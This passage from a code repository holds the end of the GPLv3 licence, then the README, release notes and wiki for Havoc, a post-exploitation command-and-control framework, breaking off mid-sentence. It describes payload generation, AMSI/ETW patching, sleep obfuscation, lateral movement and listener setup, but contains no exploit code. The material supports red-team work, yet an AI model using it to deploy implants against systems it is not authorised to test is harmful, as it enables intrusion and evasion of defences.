available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================

Havoc


Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.




### Quick Start > Please see the [Wiki](https://github.com/HavocFramework/Havoc/wiki) for complete documentation. Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues. See the [Installation](https://havocframework.com/docs/installation) docs for instructions. If you run into issues, check the [Known Issues](https://github.com/HavocFramework/Havoc/wiki#known-issues) page as well as the open/closed [Issues](https://github.com/HavocFramework/Havoc/issues) list. --- ### Features #### Client > Cross-platform UI written in C++ and Qt - Modern, dark theme based on [Dracula](https://draculatheme.com/) #### Teamserver > Written in Golang - Multiplayer - Payload generation (exe/shellcode/dll) - HTTP/HTTPS listeners - Customizable C2 profiles - External C2 #### Demon > Havoc's flagship agent written in C and ASM - Sleep Obfuscation via [Ekko](https://github.com/Cracked5pider/Ekko), Ziliean or [FOLIAGE](https://github.com/SecIdiot/FOLIAGE) - x64 return address spoofing - Indirect Syscalls for Nt* APIs - SMB support - Token vault - Variety of built-in post-exploitation commands - Patching Amsi/Etw via Hardware breakpoints - Proxy library loading - Stack duplication during sleep.

#### Extensibility - [External C2](https://github.com/HavocFramework/Havoc/wiki#external-c2) - Custom Agent Support - [Talon](https://github.com/HavocFramework/Talon) - [Python API](https://github.com/HavocFramework/havoc-py) - [Modules](https://github.com/HavocFramework/Modules) --- ### Community You can join the official [Havoc Discord](https://discord.gg/z3PF3NRDE5) to chat with the community! ### Note Please do not open any issues regarding detection. The Havoc Framework hasn't been developed to be evasive. Rather it has been designed to be as malleable & modular as possible. Giving the operator the capability to add custom features or modules that evades their targets detection system. ================================================ FILE: RELEASE.md ================================================ Because Havoc does not currently publish "releases" on GitHub, this document serves as a historical record of all major revision changes. This information was gathered from the Discord channel and is not all-inclusive of every change made. # Change History ## Version `0.2` | `Magician's Red` - added command 'shellcode execute' for self injection / execute shellcode in the current process - UI/UX Fixes (removed placeholders of Process list) - UI fix: you couldn't reopen process list / file explorer after closing them. Now you can. - added support for long running jobs / commands / modules. - fix some things in wiki. Commit: https://github.com/HavocFramework/Havoc/commit/31db84b432d57d7f5d234791455b18260f00cd40 ## Version `0.3` | `Hermit Purple` - added new session icons - added lateral movement command 'jump-exec psexec' - added lateral movement command 'jump-exec scshell' - added service executable payload - added new python api demon.ProcessCreate Commit: https://github.com/HavocFramework/Havoc/commit/db8c75f2510096d848999889f03263013eab3120 ## Version `0.4` | `Silver Chariot` - Chunked downloading of files - Threaded inline assembly execution (while sleep obf is still usable) - reverse port forwarding - webhooks for discord - smb agent fixes - bug fixes Commit: https://github.com/HavocFramework/Havoc/commit/d98f8b692b9c0fe79b6d153b6f34167589082789 ### Version `0.4.1` | `The Fool` - Socks4a Proxy - bug fixes - vuln fix in the service api (found by hyperreality) Commit: https://github.com/HavocFramework/Havoc/commit/133f6ead8085147dc39beb368c41aead2873927e ### Version `0.5` | `Emporer` - upgraded socks4a to socks5 - improved support for redirectors - 'Health' tab - add working hours - refactored BOF loader - add several default BOFs - add kill date - add sleep jitter - add kerberos native support - add incognito 'find-tokens' - add DLL reflective loader (Kayn) - refactor TS logs Commits/PR: https://github.com/HavocFramework/Havoc/pull/310 ### Version `0.6` | `Hierophant Green` - refactored/rewritten indirect syscalls (no more RX/RWX stubs) - proxy library loading - random order module & function resolving. - x86 demon implants. - cross process arch injection - AMSI/ETW patching using Hardware breakpoints - overall agent refactoring and bug fixes Push: https://github.com/HavocFramework/Havoc/pull/371 ================================================ FILE: WIKI.MD ================================================ # Havoc Havoc is a modern and malleable post-exploitation command and control framework. #### Table of Contents - [Havoc](#havoc) - [Table of Contents](#table-of-contents) - [ Version History](#-version-history) - [0.2 / Magicians Red](#02--magicians-red) - [Known Issues](#known-issues) - [Kali Linux Font/Formatting Issues](#kali-linux-fontformatting-issues) - [Build Errors](#build-errors) - [`fatal error: Python.h: No such file or directory`](#fatal-error-pythonh-no-such-file-or-directory) - [`incomplete type ‘QTime’ used in nested name specifier`](#incomplete-type-qtime-used-in-nested-name-specifier) - [`Known compiler issue: [-] Couldn't compile implant: exit status 1`](#known-compiler-issue---couldnt-compile-implant-exit-status-1) - [Installation](#installation) - [ Local](#-local) - [Pre-requisites](#pre-requisites) - [Ubuntu 20.04 / 22.04](#ubuntu-2004--2204) - [Debian 10/11](#debian-1011) - [MacOS](#macos) - [Building the Client](#building-the-client) - [Building the Teamserver](#building-the-teamserver) - [ Docker](#-docker) - [ Jenkins Docker Build](#-jenkins-docker-build) - [ Creating a Listener, and Spawning an Agent](#-creating-a-listener-and-spawning-an-agent) - [Teamserver](#teamserver) - [ Starting the Teamserver](#-starting-the-teamserver) - [Arguments](#arguments) - [Enabling DEBUG Output](#enabling-debug-output) - [Profiles](#profiles) - [Teamserver](#teamserver-1) - [Operators](#operators) - [Demon](#demon) - [Listeners](#listeners) - [Client](#client) - [Starting the Client](#starting-the-client) - [Connecting to the Teamserver](#connecting-to-the-teamserver) - [Agents](#agents) - [Demon](#demon-1) - [Generating a Demon Payload](#generating-a-demon-payload) - [Layout](#layout) - [ Features](#-features) - [Indirect Syscalls](#indirect-syscalls) - [Commands](#commands) - [`checkin`](#checkin) - [`sleep`](#sleep) - [`job`](#job) - [`proc`](#proc) - [`token`](#token) - [`shellcode`](#shellcode) - [`dotnet`](#dotnet) - [ExternalC2](#externalc2) - [Custom Agents](#custom-agents) - [Python API](#python-api) - [Modules](#modules) - [FAQ](#faq) - [Why does Havoc not perform sleep obfuscation when jobs are running?](#why-does-havoc-not-perform-sleep-obfuscation-when-jobs-are-running) -------------------- ## Version History ### 0.2 / Magicians Red > Magician's Red (Majishanzu Reddo) is the Stand of Muhammad Avdol, featured in Stardust Crusaders. - Second public 'release' of Havoc. `0.1 / Star Platinum` > Named after the Stand of [Jotaro Kujo](https://jojo.fandom.com/wiki/Star_Platinum) in JoJo's Bizzare Adventure, Star Platinum was among the very first Stands introduced. - The first, public release of Havoc. --- ## Known Issues > See the Issues tab for all open issues. ### Kali Linux Font/Formatting Issues Kali has issues loading the proper font (Monaco) from the embedeed Qt resources file. _You will experience formatting issues in the Havoc client if you are not using a monospace/fixed-width font!_ ### Build Errors #### `fatal error: Python.h: No such file or directory` If you get an error that `Python.h` isn't found when building, you need to make sure Python 3.10 is installed and you have the Python 3.10 development files. If you are using Ubuntu LTS you may need to leverage a PPA such as `deadsnakes` to get a newer version of Python. ``` sudo apt install build-essential sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install python3.10 python3.10-dev ``` #### `incomplete type ‘QTime’ used in nested name specifier` You probably need a newer version of Qt. If you are using Ubuntu try adding a backports ppa and installing the latest qt6 dev packages. Please see https://github.com/HavocFramework/Havoc/issues/95. #### `Known compiler issue: [-] Couldn't compile implant: exit status 1` Please see https://github.com/HavocFramework/Havoc/issues/105. --- ## Installation ### Local #### Pre-requisites > The immediate following is for Debian based Distros only. ``` sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm ``` #### Ubuntu 20.04 / 22.04 > You must enable Python 3.10 in your APT repositories before you can run the Client successfully. ``` sudo add-apt-repository ppa:deadsnakes/ppa sudo apt update sudo apt install python3.10 python3.10-dev ``` #### Debian 10/11 > You must setup the `bookworm` repo for Python 3.10. ``` echo 'deb http://ftp.de.debian.org/debian bookworm main' >> /etc/apt/sources.list sudo apt update sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10 ``` #### Arch-based Distros ``` sudo pacman -S git gcc base-devel cmake fontconfig glu gtest spdlog boost boost-libs ncurses gdbm openssl readline libffi sqlite bzip2 mesa qt5-base qt5-websockets python3 nasm mingw-w64-gcc ``` #### MacOS > You must have [`homebrew`](https://brew.sh) installed. ``` brew install --cask cmake brew install python@3.10 qt@5 spdlog golang brew link --overwrite qt@5 ``` ### Building the Client Clone the repository: ``` git clone https://github.com/HavocFramework/Havoc.git ``` Build and Run: ``` # Build the client Binary (From Havoc Root Directory) make client-build # Run the client ./havoc client ``` > On macOS, run `brew unlink qt && brew link qt` after cmake build is done. > On WSL navigate to https://learn.microsoft.com/en-us/windows/wsl/tutorials/gui-apps and download the needed driver for the GUI to launch. ### Building the Teamserver Install additional Go dependencies: ``` go mod download golang.org/x/sys go mod download github.com/ugorji/go ``` Build and Run: ``` # Install musl Compiler & Build Binary (From Havoc Root Directory) make ts-build # Run the teamserver sudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug ``` All files created during interaction with the Teamserver are stored within the `/Havoc/data/*` folder. ### Docker Build the Dockerfile with Jenkins: `sudo docker build -t havoc-client -f Client-Dockerfile .` Create data volume for persistence (optional): `sudo docker volume create havoc-c2-client` Run the container: `sudo docker run -p 443:443 -p 40056:40056 -it -d -v havoc-c2-client:/data havoc-client` Enter the container and run the Client: - NOT COMPLETE ### Jenkins Docker Build Build the Dockerfile with Jenkins: `sudo docker build -f JC-Dockerfile .` Run the container: `sudo docker run -p8080:8080 -it -d -v havoc-c2-data:/data havoc-client` Visit Jenkins at `localhost:8080` and create a pipeline to build the Havoc Teamserver. - See `Havoc-Teamserver.groovy` in the `assets` folder. ### Creating a Listener, and Spawning an Agent This part assumes you have a Teamserver running, with a Teamserver-client connected to the running instance. - Creating a Listener: 1. To create a new listener, we must first open the `Listeners` subwindow. * To do this, in the upper left hand corner, click on the `View` button, and then on the `Listeners` button in the drop down menu. * ![Listeners-select](./assets/Screenshots/Listeners-select.png) 2. You should see a new sub window in the bottom of the server window, with the title of `Listeners` on the header tab. 3. You should also now see three(3) buttons on the bottom of the server window, `Add`, `Remove` and `Edit`. * ![Listeners-Add-select](./assets/Screenshots/Listeners-Add-New-Remove.png) 4. We want to click the `Add` button. 5. Once we click the `Add` button, you should see a new window come up, with the title of `Create Listener`. * ![Listeners-New](./assets/Screenshots/Listener-new.png) 6. We will want to fill out the appropriate information for each field in the `Create Listener` window. 7. After entering the appropriate information into each field, then click the `Save` button. 8. The window will close, and you will now see a new line in the `Listeners` sub-window. * ![Listener-created](./assets/Screenshots/Listener-created.png) 9. We now have an active Listener, and are ready to receive an incoming agent's communications! - Spawning an Agent: 1. To create an Agent Payload, we must first open the `Payload` window. * We can do so by going up to the upper left hand corner, and clicking on the `Attack` button. 2. Doing so, we see the `Payload` button appear in the drop down menu. We want to then click on it. * ![Agent-select](./assets/Screenshots/Agent-select.png) 3. This will open the `Payload` window, where we may then configure the various options for generating our payload. * ![Agent-creation](./assets/Screenshots/Agent-create.png) 4. Once we have selected the appropriate options, we then click on the `Generate` button. 5. It might take a little bit for the compilation to take place. Once it has completed, it will prompt you as to where to save the resulting file output. 6. After selecting where to save the file, you will now have a generated agent ready for execution or injection! --- ## Teamserver The Havoc Teamserver is written in Golang. It handles the listeners, teamserver authentication and payload generation. It also supports ExternalC2 functionality through the configuration of Service endpoints. ### Starting the Teamserver Running `./teamserver server --profile ./profiles/havoc.yaotl -v --debug` will launch the built Teamserver with verbosity and debugging enabled. Data collected by the Teamserver is stored in the `/Havoc/data/*` directory. ### Arguments Usage: `teamserver [command] [flags]` Here is a full list of arguments that can be passed to the teamserver: | Command | Flag | Description | Args | | -------- | ---- | ----------- | ----- | | `server` |`--profile` | The configuration profile to load at start | Teamserver profile path (`string`) | | | `-v` / `--verbose` | Enable verbose output | | | | `-d` / `--debug` | Enable debug output | | | | `-h` / `--help` | Output server help | | | | `--debug-dev` | Enables DEBUG output (see below for caveats) | | #### Enabling DEBUG Output > DEBUG output can be enabled by passing the `--debug-dev` flag to the Teamserver. When this flag is set, the Teamserver's `builder` class adds the `-D DEBUG` flag to the `builder.compilerOptions.CFlags` array and removes the `-nostdlib` flag to enable output to be printed to the console. Demon agent payloads generated from the Havoc client will print visible DEBUG text in the console window after execution. The stdlib will be linked into the payload for this to occur, increasing the payload size. ### Profiles Havoc's Teamserver uses profiles in the `yaotl` format, which is a custom configuration syntax built on top of [HCL](https://github.com/hashicorp/hcl). Profiles are located at: `Havoc/Teamserver/profiles` and can be passed to the `teamserver` with the `--profile Teamserver The teamserver can be configured to listen on a specific bind address and port with the following directive: ```hcl Teamserver { Host = "0.0.0.0" Port = 40056 } ``` - `Host` - The bind address used by the teamserver to accept Client connections. - `Port` - The port the teamserver listens on for Client connections. #### Operators Multiple users can be added to the Teamserver with the Operators directive: ```hcl Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" } } ``` #### Demon The primary Demon agent accepts a number of configuration options such as: ```hcl Demon { Sleep = 2 Jitter = 20 TrustXForwardedFor = false Implant { SleepMask = 1 SleepMaskTechnique = 0 } Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" } } ``` - `Sleep` - The default interval to sleep between check-ins for commands. - `Jitter` - The amount of jitter to be applied to sleep intervals (in percentage). - `TrustXForwardedFor` - If true, the public IP of every agent will be set to the value of the X-Forwarded-For header. Only enable if the teamserver is behind a redirector - `Implant\SleepMask` - Enables the Sleep Mask obfuscation - `Implant\SleepMaskTechnique` - 